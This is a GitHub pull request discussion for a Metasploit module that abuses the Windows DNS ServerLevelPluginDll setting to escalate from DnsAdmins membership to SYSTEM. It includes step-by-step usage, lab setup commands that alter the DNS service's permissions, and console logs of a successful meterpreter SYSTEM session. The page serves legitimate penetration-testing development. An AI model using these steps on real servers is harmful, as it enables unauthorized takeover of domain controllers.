Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dnsadmin ServerLevelPluginDLL Feature Abuse Privilege Escalation #12983

Merged
merged 13 commits into from
Sep 10, 2020
Merged

Dnsadmin ServerLevelPluginDLL Feature Abuse Privilege Escalation #12983

merged 13 commits into from
Sep 10, 2020

Conversation

ide0x90
Copy link
Contributor

@ide0x90 ide0x90 commented Feb 24, 2020

This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
ServerLevelPluginDll value using dnscmd.exe to create a registry key at HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\
named ServerLevelPluginDll that can be made to point to an arbitrary DLL. After doing so, restarting the service will load the DLL
and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended when using a UNC path.

Targets

Windows Server 2003 and above

Verification

  1. Get a Meterpreter shell
  2. use exploit/windows/local/dnsadmin_serverlevelplugindll
  3. set PAYLOAD <payload>. Payload architecture must be the same as the target system
  4. set LHOST <lhost>
  5. set LPORT <lport>
  6. set SESSION <session_no> to specify session
  7. set DLLNAME <dllname> if you want to name your DLL something other than msf.dll
  8. set DLLPATH <dllpath> if you want to place your DLL somewhere other than %TEMP% or want to use a UNC path
  9. set MAKEDLL true if you want to just make the DLL, and not carry out the exploit
  10. exploit to get SYSTEM shell if MAKEDLL is set to false, or to write the DLL to the ~/.msf4/local folder if MAKEDLL is set to true

TODO:

  • Deleting DLL after execution
  • Option to generate standalone DLL for use with a remote UNC path

@timwr
Copy link
Contributor

timwr commented Mar 30, 2020

Sorry for the delay on this. I tried to setup an environment to test this but I'm still stuck :

  1. Installed Windows Server 2016
  2. Enabled DNS Server (Select server roles)
  3. Ran the exploit as a User:
[*] Started reverse TCP handler on 192.168.56.1:4448
[*] Running check against WIN-GDJQ9G6M5T5 as user WIN-GDJQ9G6M5T5\User...
[+] DNS service found on WIN-GDJQ9G6M5T5.
[-] User WIN-GDJQ9G6M5T5\User is not part of the DnsAdmins group!
[-] Exploit aborted due to failure: not-vulnerable: Target is most likely not vulnerable!
[*] Exploit completed, but no session was created.

Does anyone already have an environment ready to test this? Perhaps it's because I have Windows Server 2016 instead of 2019?

@adfoster-r7 adfoster-r7 added the needs-testing-environment PRs that need community testing and/or vulnerable test targets before they're able to be landed label May 4, 2020
@label-actions
Copy link

label-actions bot commented May 4, 2020

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.

To help unblock this pull request, please:

  • Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
  • Or comment guided steps on how to set up our environment for testing this module
  • Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com

Once there's a clear path for testing and evaluating this module, we can progress with this further.

@adfoster-r7
Copy link
Contributor

Please let us know how to set up our environments to test this, #12983 (comment)

@ide0x90
Copy link
Contributor Author

ide0x90 commented May 4, 2020

To set up a development environment:

  1. Install Windows Server >= 2003 (I used Windows Server 2019 Standard)
  2. Install and configure Active Directory Domain Services. This should automatically install DNS and create the builtin DnsAdmins group. The bare minimum of configuration is to just promote the server to a domain controller.
  3. Create a user and ensure that the user can log in locally to the server
  4. Add the user to the DnsAdmins group
  5. Give the user the ability to start/stop the DNS service. Requirement is to know the SID of the user. Can be done with: sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

@gwillcox-r7 gwillcox-r7 self-assigned this Sep 4, 2020
@gwillcox-r7
Copy link
Contributor

@timwr Will give this a shot so long now with a Windows Server 2019 host and see if I can't get this to work. @ide0x90 Thanks for providing some more information on setup instructions 👍

@gwillcox-r7
Copy link
Contributor

Ok can confirm that I did the following to set up a vulnerable server on Windows Server 2019:

  1. Install Windows Server 2019 Standard with GUI
  2. Install and configure Active Directory Domain Services and DNS services.
  3. Promote the server to a domain controller once the initial setup wizard is complete. This will complete the setup of the AD.
  4. Reboot
  5. Add a new user which I called normal and set its password to a long string such as thisIsADamnGoodPassword123!. Don't use any other special characters or you may end up violating the password policy (at least thats what happened in my tests).
  6. Add this new user to two groups: DnsAdmins (should have been created with the installation of the DNS server and the AD Server), and Remote Desktop Users. See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info on how to do the Remote Desktop Users update.
  7. To go Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers -> Default Domain Controllers Policy and right click on it, then select Edit. From here select Policies -> Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select the Allow log on locally policy underneath this and double click on it. Ensure the Define these policy settings option is checked, and then select Add User or Group and add in the name of the user that you just created. It should look something in the format of *domain name*\*user name*. Then click Apply and click OK.
  8. Run gpupdate again.
  9. Reboot
  10. You should now be able to log in as the new user, which should also be in the DnsAdmins group. You can confirm this by running net localgroup DnsAdmins and confirming that the new user is listed as a member of this group in the output returned.
  11. Run `wmic useraccount where name='username of the new account' to get the SID of the new account that you added in earlier.
  12. Run sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) as @ide0x90 mentioned in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command (aka the SID of the new low privileged user you added).

When this is all done the check output should show the following:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options

Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DLLNAME  msf.dll          yes       DLL name (default: msf.dll)
   DLLPATH  %TEMP%           yes       Path to DLL. Can be a UNC path. (default: %TEMP%)
   MAKEDLL  false            yes       Just create the DLL, do not exploit.
   SESSION  1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     8632             yes       The listen port
   RHOST     172.19.168.4     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set VERBOSE true
VERBOSE => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > check

[+] OS seems vulnerable.
[*] Running check against WIN-M5JU6L5RA9L as user RAPID7\normal...
[+] DNS service found on WIN-M5JU6L5RA9L.
[+] User RAPID7\normal is part of the DnsAdmins group.
[*] DnsAdmins SID is S-1-5-21-3366678416-2647298705-2470977453-1101
[+] 172.19.168.4 - The target is vulnerable.

Note that without the final step, step 11, you will get the following output:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > check

[+] OS seems vulnerable.
[*] Running check against WIN-M5JU6L5RA9L as user RAPID7\normal...
[+] DNS service found on WIN-M5JU6L5RA9L.
[+] User RAPID7\normal is part of the DnsAdmins group.
[*] DnsAdmins SID is S-1-5-21-3366678416-2647298705-2470977453-1101
[-] User RAPID7\normal does not have permissions to start/stop the DNS service!
[*] 172.19.168.4 - The target is not exploitable.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > 

In my opinion this is technically exploitable if the server is restarted as the service will have to start itself up again, however I can see how this might not be an ideal solution and why it may be preferred to have the user have permissions to restart the service. That being said given that this isn't the default settings from the looks of things I do have some reservations about marking the target as unexploitable simply because the current user doesn't have permissions to restart the service themselves.

@gwillcox-r7
Copy link
Contributor

Confirmation of this technique working on a Windows Server 2019 Standard Edition server with August 2020 patches applied (fully up to date as of today). Using the same configuration options as mentioned above:

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[+] OS seems vulnerable.
[*] Running check against WIN-M5JU6L5RA9L as user RAPID7\normal...
[+] DNS service found on WIN-M5JU6L5RA9L.
[+] User RAPID7\normal is part of the DnsAdmins group.
[*] DnsAdmins SID is S-1-5-21-3366678416-2647298705-2470977453-1101
[*] Checking service state...
[*] Writing DLL to C:\Users\normal\AppData\Local\Temp\4\msf.dll...
[*] Building DLL...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\4\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.19.168.4:8632
[*] Sending stage (200262 bytes) to 172.19.168.4
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.19.168.4:8632) at 2020-09-04 11:30:52 -0500

meterpreter > 
[*] Erasing ServerLevelPluginDll registry value...
[*] Removing C:\Users\normal\AppData\Local\Temp\4\msf.dll...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-M5JU6L5RA9L
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : RAPID7
Logged On Users : 10
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  RAPID7\normal @ WIN-M5JU6L5RA9L        0.0.0.0:0 -> 172.19.168.4:4444 (172.19.168.4)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L  0.0.0.0:0 -> 172.19.168.4:8632 (172.19.168.4)

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > 

@gwillcox-r7 gwillcox-r7 removed the needs-testing-environment PRs that need community testing and/or vulnerable test targets before they're able to be landed label Sep 4, 2020
@gwillcox-r7

This comment has been minimized.

@gwillcox-r7
Copy link
Contributor

Also since I was interested in this as well and it was pointed out, no this doesn't stop the DNS server from operating. This was taken after the exploit, with the DNS server to query set to 127.0.0.1:

C:\Users\normal>sc query DNS

SERVICE_NAME: DNS
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\normal>nslookup 127.0.0.1
Server:  UnKnown
Address:  ::1

Name:    localhost
Address:  127.0.0.1


C:\Users\normal>nslookup www.google.com
Server:  UnKnown
Address:  ::1

Non-authoritative answer:
Name:    www.google.com
Addresses:  2607:f8b0:4000:808::2004
          172.217.12.36


C:\Users\normal>

@gwillcox-r7
Copy link
Contributor

Ok so one issue I did notice with this exploit as well is that if for w.e reason the DLL gets picked up by AV, then we get into a very odd situation whereby the DNS Server cannot restart. So for instance lets just say I did this cause I was a pentester and I panic'd

msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit

[+] OS seems vulnerable.
[*] Running check against WIN-M5JU6L5RA9L as user RAPID7\normal...
[+] DNS service found on WIN-M5JU6L5RA9L.
[+] User RAPID7\normal is part of the DnsAdmins group.
[*] DnsAdmins SID is S-1-5-21-3366678416-2647298705-2470977453-1101
[*] Checking service state...
[*] Writing DLL to C:\Users\normal\AppData\Local\Temp\4\msf.dll...
[*] Building DLL...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\4\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] exploit: Interrupted
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >

Then I go in later and realize the DNS server is down so I try to restart it:

C:\Users\normal>sc start DNS

SERVICE_NAME: DNS
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3276
        FLAGS              :

C:\Users\normal>sc query DNS

SERVICE_NAME: DNS
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 126  (0x7e)
        SERVICE_EXIT_CODE  : 126  (0x7e)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\normal>

Looks like one cannot restart the service so long as that registry link still exists. I'm going to go in and update the output of the module and the documentation so that the user is aware that there is a potential failure point and to let them know how to resolve this. Its unlikely to occur as even during testing MS Defender wasn't fast enough to pick up the file but its possible that there may be other AVs or circumstances that cause this to occur so it would be good to make the user aware of this as well as how to resolve the issue.

PS @ide0x90 I also rebased your repo since it was getting close to 5000 commits behind master and your branch was on msf5 whereas master is now on msf6.

@gwillcox-r7
Copy link
Contributor

DLL generation appears to work well, no issues there. Will need to update the code that starts the DNS service so that it has a timeout as otherwise if one can't start the DNS service, we will get a hang on the line DNS service is stopped, starting it..... This appears to occur due to the use of two do loops that will result in infinite loops unless a certain condition is met, and will never time out.

@gwillcox-r7
Copy link
Contributor

Ok one other issue identified during testing is that even with the SYSTEM session removed, you are still leaving directories behind that can't be removed:

C:\Users\normal\AppData\Local\Temp>rmdir 4
rmdir 4
The process cannot access the file because it is being used by another process.

C:\Users\normal\AppData\Local\Temp>  

It would be good to alert the user to the fact that this directory will need manual cleanup due to the DNS service locking it.

Nevermind looks like for some odd reason this was the default temp directory for my user:

meterpreter > dir %TEMP%
No entries exist in C:\Users\normal\AppData\Local\Temp\4
meterpreter > getuid
Server username: RAPID7\normal
meterpreter > 

All good.

@gwillcox-r7 gwillcox-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Sep 4, 2020
@label-actions
Copy link

label-actions bot commented Sep 4, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@gwillcox-r7
Copy link
Contributor

Ok so made a few updates to this the last few days, which included adding in the installation instructions, applying RuboCop updates, handling a potential infinite loop case, and fixing a case where I had incorrectly placed the logic for the AV check too early in the code, which was causing the exploit to fail when it tried to use a UNC path as the location of the DLL.

Things I would still like to try to solve are as follows:

  1. Noting somewhere that if the UNC path isn't accessible in a timely manner, you will likely end up having to fix whatever is causing the delay in order to restart the DNS server. This could lead to the DNS server being unable to restart until the registry key we change is wiped clean.

  2. Need to alter the code so that the check that it will only block us from attempting to use UNC paths if the server is Windows Server 2016 or later and the Enable insecure guest logons option is not enabled. This is based off of the advice in https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser which notes that Windows 10 v1709 and later and Windows Server v1709 and later. We should really not be blocking on versions earlier than these versions, as otherwise we are preventing successful exploitation in circumstances where using a UNC path without the Enable insecure guest logons setting enabled is acceptable.

  3. Add some notes in to the module and documentation to reflect the fact that this has still only been confirmed to work on Windows Server 2019.

  4. Update the documentation so that it uses the new output. Most of the changes here are related to converting from MSF5 to MSF6 but there may be a few output related changes here and there I'd like to try address as well.

@gwillcox-r7 gwillcox-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Sep 10, 2020
ide0x90 and others added 9 commits September 10, 2020 11:32
…uations the module could run into, and also include some new documentation on the new option we have added in to try to prevent this from happening
… other processes deleted the uploaded DLL file, thereby preventing a situation where the DNS server is unable to restart. Also add in some warning's r.e when we enter the danger section and when we exit it so that users at more aware of when this is happening.
… loop state. New code should prevent this from happening
…n the GitHub comments. Also RuboCop the exploit module code.
…th is used, as there is no chance the AV on the host can remove the file on the UNC share, and the UNC share won't be accessed until the exact moment it is needed
… 'Enable insecure guest logons' enabled if their build number is greater than or equal to 10.0.16299.0, which was the build where this change first was implemented.
…d the fact that the use of UNC paths could cause an issue if they are not typed in correctly. Also update the module documentation to use the output from recent tests to reflect recent changes. Shortern the module description and update its stability rating. Finally add in a reliability rating for the exploit module.
@gwillcox-r7 gwillcox-r7 merged commit d4cf660 into rapid7:master Sep 10, 2020
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Sep 10, 2020

Original Release Notes
This module from @ide0x90 adds support for exploit a LPE technique on Windows Server 2003 and later whereby if the current user is a member of the DnsAdmins group and they have permissions to restart the DNS service, they can gain code execution as the SYSTEM user.

@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 10, 2020
@pbarry-r7
Copy link
Contributor

Release Notes

New module exploits/windows/local/dnsadmin_serverlevelplugindll achieves local privilege escalation on Windows Server 2003 and later targets, gaining SYSTEM level code execution if the current user is a member of the DnsAdmins group and also has permissions to restart the DNS service.

@ide0x90 ide0x90 deleted the dnsadmin-privesc branch October 10, 2020 17:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

7 participants